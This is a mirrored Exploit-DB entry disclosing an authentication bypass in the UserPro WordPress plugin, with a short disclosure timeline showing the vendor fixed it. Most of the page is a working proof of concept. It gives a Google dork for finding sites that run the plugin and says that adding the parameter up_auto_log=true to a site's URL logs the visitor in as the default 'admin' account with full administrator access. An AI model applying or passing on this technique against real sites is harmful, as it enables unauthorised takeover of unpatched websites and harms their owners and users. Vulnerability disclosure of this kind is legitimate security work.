WordPress Plugin Userpro < 4.9.17.1 - Authentication Bypass

  • 作者: Colette Chamberland
    日期: 2017-11-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43117/
  • # Exploit Title: Userpro – WordPress Plugin – Authentication Bypass
    # Google Dork: inurl:/plugins/userpro
    # Date: 11.04.2017
    # Exploit Author: Colette Chamberland (Wordfence), Iain Hadgraft (Duke University)
    # Vendor Homepage: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681?s_rank=9
    # Software Link: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681?s_rank=9
    # Version: <= 4.6.17
    # Tested on: WordPress 4.8.3
    # CVE : requested, not assigned yet.
    
    Description
    ================================================================================
     The userpro plugin has the ability to bypass login authentication for the user
     'admin'. If the site does not use the standard username 'admin' it is not affected.
     
    PoC
    ================================================================================
    1 - Google Dork inurl:/plugins/userpro
    
    2 - Browse to a site that has the userpro plugin installed.
    
    3 - Append ?up_auto_log=true to the target: http://www.targetsite.com/?up_auto_log=true
    
    4 - If the site has a default 'admin' user you will now see the wp menu at the top of the site. You are now logged in
    will full administrator access.
    ================================================================================
    
    10/25/2017 – Wordfence notified of issue by Iain Hadgraft.
    10/26/2017 – Vendor resolved the issue in the plugin.
    11/04/2017 - Disclosure.